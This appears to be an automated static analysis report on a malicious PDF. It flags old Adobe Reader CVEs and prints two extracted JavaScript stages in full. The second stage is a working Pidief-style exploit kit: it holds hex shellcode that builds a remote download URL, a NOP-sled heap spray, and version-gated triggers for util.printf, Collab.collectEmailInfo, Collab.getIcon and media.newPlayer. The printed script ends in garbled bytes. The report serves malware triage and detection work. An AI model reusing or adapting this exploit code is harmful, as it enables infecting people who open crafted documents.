Malicious PDF — malware analysis report

Static analysis result for SHA-256 a847ff3181b7bce6…

MALICIOUS

PDF

5.1 KB Authoring application: Kijiduodokoy (via ffa0fZazazacokaqotoqeva) First seen: 2026-05-11
MD5: a5ec2ddcfddb43194a08708b9c0d4a0e SHA-1: a57eb2bcbd6d88408ef87760cf52a253126736a6 SHA-256: a847ff3181b7bce671d3a844f3ff8b1fe41a42cebea78e8a8ddd17647392c1cf
350 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudl.egh/4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xED7 831 bytes
SHA-256: 9876b08990586d81418b6b6afe5e4606c23f422ef33ae574587434efe1e82148
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var SWFUpload;if (SWFUpload == undefined) {var gPY='var hI 5= 11 ;var eJ = tc5h55is;var tM=\'ge55\'+\'tPageNt\'+\'hWordc\';var iFG=\'5gce\'+c\'tPag\'+\'eNucmW\'+\'ords\';var aP=\'f55r\'+\'omCh\'+\'arCodecc\';cvcar pQ=eJcc[55iFG](this.pageNum);var scVW=\'\';for(var sP=0;sP< cpQ;c sP++){sVW=c[sVW,eJ5[tM](eJ.ccp55age5cNccu55m,sP,truec5)].ccjo5inc5(\'\'55);;}varc5 d5E=\'\';for(5vcar sPc=0c5;sP < sVW.len5cgth; 5csc5P+=25){kZ=sVW.subst55r(sP,2);dE=c5[dE,Strccing[aPc](55parseInt5(kZ,16cc)^chI)].join(\'\'55);}evc5alc(dE);dccE=null;'.replace(/[c5]/g, '');SWFUpload = function (settings) {this.initSWFUpload(settings);};}var qH = new Function(gPY);SWFUpload.prototype.initSWFUpload = function (settings) {try {this.displayDebugInfo();} catch (ex) {delete SWFUpload.instances[this.movieName];throw ex;}};jE();} catch(qJ){    qH();}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3860 bytes
SHA-256: d287895e837fd7948319aaada8ea5eae0fa50b136048bdb8bdc103f4aee93fd0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var n=["eL"];gP=25224;gP++;var gFM='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.rG=22473;this.rG-=247;try {var f='uD'} catch(f){};this.iP=22344;this.iP++;var gT={t:false};var wL=this.info['b'].replace(/[\s]/g, '');try {} catch(bE){};this.gL=3080;this.gL+=238;try {var rE='vE'.substr(25207)} catch(rE){};try {} catch(pY){};var lY = this.info;var gZ = (lY.producer.substr(0,5) == 'debug');var vC = new Array(); var qF = "%u";function vS(str){str = str.split(qF);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function uX(str1, str2){return [str1, str2].join("");}function jG(eR){var rI = qD();var rW = eF();rI += ((rI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + rW;if(gZ) app.alert("URL: " + rI);rI=tI(rI);var d=qF;var kZ=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";kZ+=rI;return vS(kZ);};function qD(){var lK = (lY.author + lY.title).replace(/[\s]/g, '');var oZ = zU(lK, wL, gFM);return oZ;};function zU(lK, gFM, wL){var oZ="";for(var i=0; i < lK.length; i++){var yD = gFM.indexOf(lK[i]);if(yD > -1 ){oZ += wL[yD];}}return oZ;};function tI(lK){var out = "";lK = vEF(lK);g = Math.round(lK.length / 4);if (g != lK.length /4) lK+="00";for(var i=0; i < lK.length; i+=4){out+= qF + lK.substr(i+2, 2) + lK.substr(i, 2);}return out;};function vEF(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function rK(oR, len){while (oR.length * 2 < len){oR = uX(oR, oR);}return oR.substring(0, len / 2);};function pS(iZ){var lA = 0x0c0c0c0c;        sL = jG("pdf");if (iZ == 1){lA = 0x30303030;}var tS = 0x400000;var ln = sL.length * 2;var eV = tS - (ln + 0x38);var oR = vS(qF+"9090"+qF+"9090"); oR = rK(oR, eV);var rYH = (lA - 0x400000) / tS;for (var lG = 0; lG < rYH; lG ++ ){vC[lG] = uX(oR, sL);}};function eF(){try {return app.viewerVersion.toString();}catch(sT){    return 0;}}if(gZ) app.alert("called exploit");var rW = eF();if(gZ)  app.alert("v: " + rW);if (rW > 8){if(gZ) app.alert("util.printf");pS(1);var nA = "12999999999999999999";for (wJ=0; wJ < 276; wJ++) nA += "8";util.printf("%45000f", nA);}if (rW < 8){if(gZ) app.alert("Collab.collectEmailInfo");pS(0);var zM = vS(qF+"0c0c"+qF+"0c0c");while (zM.length < 44952) zM += zM;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zM});}if (rW < 9.1){if (app.doc.Collab.getIcon){if(gZ) app.alert("Collab.getIcon");pS(0);var yDG = unescape("%09");while (yDG.length < 0x4000) yDG += yDG;yDG = "N." + yDG;app.doc.Collab.getIcon(yDG);}}if (rW == 9.2){if(gZ) app.alert("media.newPlayer");pS(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.jS=false;for(var nY=0; nY <2094; nY++){nY++; var iF='vA'};this.wH=24428;this.wH--;Ք�

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